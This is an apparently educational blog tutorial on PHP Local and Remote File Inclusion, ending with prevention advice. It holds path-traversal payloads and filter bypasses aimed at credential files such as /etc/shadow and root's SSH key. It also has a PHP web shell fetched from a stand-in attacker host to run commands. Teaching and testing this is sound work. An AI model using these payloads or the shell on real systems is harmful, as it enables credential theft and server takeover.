Yo what’s up hackers and learners
Today, I wanna break down a classic web vuln that I recently got my head around: Local File Inclusion, aka LFI. If you’re diving into bug bounties, CTFs, or web pentesting just like me, this one’s a must-know. And trust me, once it clicks, it’s kinda beautiful in a terrifying way 😅.
🧠 What Even Is LFI?
Local File Inclusion is a vulnerability where a web app lets a user include files on the server, either for viewing or execution. It’s often caused by PHP that are poorly written and implemented , improper input sanitization when user-controlled data is used in file path functions like:
<?php
include($_GET['page']);
?>
Yup. That innocent ?page=about.php
can become something way more spicy.
Exploiting LFI
So, we have this vulnerable web app with pages like home, about, and contact. When you look at the URLs, you’ll notice stuff like:
/page.php?page=pages/home.php
/page.php?page=pages/about.php
/page.php?page=pages/contact.php
Here’s the catch: the page
parameter is vulnerable to Local File Inclusion (LFI).
What that means is instead of just loading those normal pages, you can mess with the input and try stuff like:
/page.php?page=../../../../../../../etc/passwd
you just read the server’s /etc/passwd file (if it’s a Linux box), which is a classic LFI move to prove the vulnerability exists.
If you’re on Windows, try:
/page.php?page=../../../../windows/win.ini
Also, a sneaky trick is to check:
/proc/self/environ
Sometimes that leaks environment variables, and those can be juicy for further attacks.
What is the Risk of File Inclusion?
File inclusion vulnerabilities such as Local File Inclusion (LFI) and Remote File Inclusion (RFI) can pose serious risks to a web application. At their core, they allow attackers to force the application to load and execute files they shouldn’t have access to.
Here’s why it’s dangerous:
-
Sensitive File Disclosure: Attackers can read files on the server like:
-
/etc/passwd
(Linux user info) -
Application source code
-
.env
or config files (with API keys, DB creds, etc.)
-
-
Chaining to RCE: If the attacker can upload a file (e.g., via file upload or log injection), they might include that file via LFI to execute arbitrary code turning LFI into Remote Code Execution (RCE).
-
Server-Side Enumeration: File inclusion can also allow attackers to discover internal server paths or services by brute-forcing or fuzzing local paths.
-
Privilege Escalation & Pivoting: In some setups, included files might inherit privileges of the web server or expose credentials that can be used to move laterally or escalate access.
Real-World Example:
Imagine a PHP app with this line:
include($_GET["page"]);
If there’s no proper validation, an attacker can do:
http://target.com/index.php?page=../../../../etc/passwd
or
http://target.com/index.php?page=/uploads/shell.php
Unauthorized file access + potential RCE = major compromise
What is a Path Traversal Vulnerability?
Path Traversal (also called Directory Traversal) is a vulnerability that allows attackers to access files and directories outside the intended scope by manipulating input parameters that reference file paths.
Why It Happens:
The vulnerability typically occurs when user input is used directly in file operations for example, reading a file using file_get_contents()
in PHP without proper input validation.
Important:
file_get_contents()
is not inherently vulnerable the issue is when untrusted user input is passed directly into it.
What Does ../../../../ Really Mean?
Path Traversal, also known as the “dot-dot-slash” (../) attack, is a technique where an attacker manipulates file paths to move up the directory structure and access files that should be off-limits.
How It Works:
In many operating systems, ../
means “go up one directory.” By chaining multiple ../
, attackers can escape the intended folder and reach sensitive system or application files.
how ../../../../ Works
# Create a demo directory structure
tobiasare@hacktheplanet:~$ mkdir -p /tmp/demo/var/www/html/uploads
tobiasare@hacktheplanet:~$ cd /tmp/demo/var/www/html/uploads
# Show current path
tobiasare@hacktheplanet:~$ pwd
# Go up one directory
tobiasare@hacktheplanet:~$ cd ..
# Go up two more directories
tobiasare@hacktheplanet:~$ cd ../..
# Go back to the demo root
tobiasare@hacktheplanet:~$ cd ../../../../
# Create a fake sensitive file
tobiasare@hacktheplanet:~$ echo "root:x:0:0:root:/root:/bin/bash" > etc_passwd
# Simulate a path traversal to access the file
tobiasare@hacktheplanet:~$ cat var/www/html/uploads/../../../../etc_passwd
Bypassing Filters in LFI/Path Traversal Know Your Target Files
Sometimes, devs try to protect against file inclusion or path traversal by filtering out obvious payloads. But if you’re testing an app, knowing which OS-level files to target can help you validate vulnerabilities, bypass weak filters, or escalate further.
Below are some commonly accessed system files on Linux and Windows that can leak juicy info:
Linux Targets
Location | Description |
---|---|
/etc/issue |
Displays the system’s pre-login message or banner. Can reveal OS flavor/version. |
/etc/profile |
Defines global environment variables (e.g., PATH , umask ) applies to all users. |
/proc/version |
Contains the Linux kernel version useful for kernel-based exploits. |
/etc/passwd |
Lists all local users. Doesn’t store passwords (that’s /etc/shadow ). |
/etc/shadow |
Stores hashed passwords for user accounts (root access required). Goldmine for cracking. |
/root/.bash_history |
Shows commands run by the root user often reveals passwords, configs, etc. |
/var/log/dmesg |
Contains kernel ring buffer messages useful for debugging hardware and system info. |
/var/mail/root |
Stores root’s local email might contain alerts, logs, or tool output. |
/root/.ssh/id_rsa |
Root’s private SSH key compromise this = full system access. |
/var/log/apache2/access.log |
Shows every request to the Apache server. Great for log poisoning or recon. |
Windows Targets
Location | Description |
---|---|
C:\boot.ini |
Legacy file for boot config on BIOS-based systems. Leaks OS and bootloader info. |
Black Box LFI Testing with Null Byte Injection
When you don’t have any info about a web application (black box testing), you have to start by probing it with random inputs for example, using the lang
parameter with some random value like hello
.
Say you have this URL:
pagebypassnulbyte.php?lang=EN
You can change the language from English to Spanish or any other supported language by modifying the lang
parameter.
Step 1: Recon Sending a Random Input
Let’s first send a random input, like hello
, to see how the app responds:
pagebypassnulbyte.php?lang=hello
You get this error message:
This error leaks important info: the app tries to include the file languages/hello.php
. From this, we know two things:
-
The
lang
parameter value is appended with.php
inside thelanguages/
directory. -
The file path is constructed like:
languages/{lang}.php
.
Since the error message also reveals the full application path (/home/wordisbond/Desktop/vulnauth/lfi/
), we can use it to plan directory traversal attacks.
Step 2: Attempt Directory Traversal
If we want to access files outside the languages
directory, we can try directory traversal like this:
pagebypassnulbyte.php?lang=../../../../../etc/passwd
But we get another error:
The .php
extension is still appended, so the server tries to load /etc/passwd.php
which doesn’t exist. This means the developer hard-coded .php
after the input.
Step 3: Bypass the .php
Suffix with Null Byte Injection
To bypass this, we can use the Null Byte (%00
) injection technique. Null Byte is a special URL-encoded character (%00
) that terminates strings in some older PHP versions. It tricks the include function to ignore everything after it.
So if you send:
pagebypassnulbyte.php?lang=../../../../../etc/passwd%00
The include function will interpret:
include("languages/../../../../../etc/passwd%00") . ".php");
which effectively becomes:
include("languages/../../../../../etc/passwd");
and the file /etc/passwd
will be included (if the PHP version is vulnerable).
Bypassing ../
Filters in LFI
In our initial setup, the app lets us change the language using a lang
parameter switching between English and Spanish:
?lang=en.php
?lang=es.php
But now the dev got a lil paranoid and added some basic input filtering specifically, they’re trying to block directory traversal by stripping ../
from the input.
Let’s test this filter by trying to read a classic LFI target:
lang=../../../../../../etc/passwd
And we get the following PHP warning:
If you look closely at the first line, you’ll notice that instead of including ../../etc/passwd
, PHP is trying to include:
languages/etc/passwd
So clearly, the app is stripping all ../
instances from the input via str_replace('../', '', $_GET['lang'])
.
Bypass Payload:
Try this sneaky payload instead:
?lang=....//....//....//....//....//....//etc/passwd
And it works.
Why does this bypass work?
Because the filter only removes exact matches of ../
. It doesn’t normalize paths or do recursive cleanup. That means:
-
....//
≠../
-
So
str_replace('../', '', '....//etc/passwd')
leaves it untouched -
The PHP engine still resolves
....//
to../
under the hood during path resolution
Here’s a visual to make it even clearer:
Bypassing Defined Directory Restrictions + Input Validation
When developers try to lock down Local File Inclusion (LFI) vulnerabilities, a common defense is forcing the user input to start with a defined directory for example, requiring lang=languages/en.php
. This looks like a solid way to restrict file access, right?
But attackers can still sneak through.
If the app expects a URL like this:
http://example.com/pagebypassslashdefineddirectory.php?lang=languages/en.php
If you try to send a payload without the required directory prefix, like this:
?lang=....//....//....//....//....//....//etc/passwd
The application rejects it outright, showing an error message such as:
This blocks direct traversal attempts that don’t start with languages/
.
However, you can still bypass the restriction by including the required directory prefix and then injecting traversal sequences, like so
?lang=languages/....//....//....//....//....//....//etc/passwd
Here’s the trick:
-
The input starts with
languages/
to pass the check -
The
....//
pattern works like../
in file paths, letting you climb out of the intended directory
This happens because input validation is often done with simple string replacements or prefix checks, missing the full path resolution context leaving the door wide open for crafty traversal bypasses.
Remote File Inclusion (RFI) A Hacker’s Backdoor to Your Server
What Is RFI?
Remote File Inclusion (RFI) is a high-severity web vulnerability that occurs when an application dynamically includes external files typically via user-supplied input without proper validation or sanitization. When exploited, an attacker can inject a remote URL into a file-handling function (like include()
, require()
, etc.), causing the server to fetch and execute malicious code hosted on an external server.
For RFI to be possible, certain PHP configurations need to be enabled most notably:
allow_url_fopen = On
This setting allows PHP to open external URLs as if they were local files, making the inclusion of remote payloads feasible.
Why Is RFI So Dangerous?
Compared to Local File Inclusion (LFI), which is limited to reading files already present on the target server, RFI opens the door to Remote Code Execution (RCE) essentially giving attackers the ability to run arbitrary code from their own server on the victim system.
Here are some nightmare scenarios that can result from a successful RFI attack:
-
Sensitive Information Disclosure (e.g., config files, database credentials)
-
Remote Code Execution (RCE) with full shell access
-
Cross-Site Scripting (XSS) if the included file contains malicious JavaScript
-
Denial of Service (DoS) by including large or malicious files
-
Web Shell Uploads for post-exploitation access and persistence
How Does an RFI Attack Work?
Let’s break this down with a step-by-step example:
Scenario: Vulnerable PHP Web App
You have a page like this:
http://example.com/RFI.php?lang=en.php
And the vulnerable code on the backend looks like this:
<?php
include($_GET['lang']);
?>
The developer didn’t validate or sanitize the input. That’s the red flag.
Step-by-Step Exploitation
-
Attacker Prepares Payload The attacker hosts a malicious file, for example:
-
URL:
http://attacker.thm/cmd.txt
-
Content of
cmd.txt
:
-
<?php
echo "<div style='
background-color: #111;
color: #0f0;
font-family: monospace;
padding: 20px;
border: 2px solid red;
border-radius: 10px;
text-align: center;
'>
<h1>💀 You Have Been Pwned 💀</h1>
<p>RFI successful. Shell access granted.</p>
</div>";
if (isset($_GET['cmd'])) {
echo "<pre style='background:#000; color:#0f0; padding:10px; border-radius:5px;'>";
system($_GET['cmd']);
echo "</pre>";
} else {
echo "<p style='color: #f33;'>No command received. Try <code>?cmd=whoami</code></p>";
}
?>
- Attacker Sends Exploit Request They craft a URL to trick the server into loading their file:
http://example.com/RFI.php?lang=http://10.0.2.15:8000/cmd.txt&cmd=whoami
-
Server Fetches and Executes File If
allow_url_fopen
is enabled and no filtering is applied, the server will:-
Make a request to
attacker.thm
-
Fetch
cmd.txt
-
Inject and execute its contents within the application context
-
-
Code Execution The server runs whatever PHP is in, it could be a full PHP web shell (
system($_GET['cmd'])
, reverse shell, etc.)
staying Sharp: Defending Against File Inclusion Vulnerabilities
Web apps are dope, but if you’re not securing them right, you’re just leaving the door wide open for attackers. One of the most common issues? File Inclusion Vulnerabilities (think LFI, RFI). They’re sneaky, dangerous, and way too common in misconfigured PHP setups.
Why You Should Care
Understanding how these bugs work and how to prevent them is key to building (or hacking) safely. Whether you’re a dev, hacker, or just security-curious, here’s the lowdown on protecting your app from getting wrecked.
Prevention Checklist
1. Keep everything updated. Your PHP version, CMS, frameworks, plugins if it runs code, it needs updates. Old versions = old vulnerabilities.
2. Hide your errors.
Turn off PHP error reporting in production (display_errors = Off
). You don’t wanna leak your file paths or internal structure to attackers.
3. Use a WAF.
Web Application Firewalls can filter out sketchy requests before they reach your app. Tools like Cloudflare or ModSecurity can be lifesavers.
4. Lock down dangerous PHP features.
If your app doesn’t use remote file access, disable these in php.ini
:
allow_url_fopen = Off
allow_url_include = Off
5. Control input protocols.
Limit the types of wrappers (e.g., php://
, data://
, zip://
) your app can handle. Analyze what you really need and block the rest.
6. Sanitize & validate all user input.
Never trust user input. Use strict input validation. Assume attackers will try ....//
, null bytes, encoded payloads and block ‘em.
7. Whitelist > Blacklist.
Define exactly what files can be included, and from where. Don’t rely on just blacklisting risky strings like ../
it’s bypassable.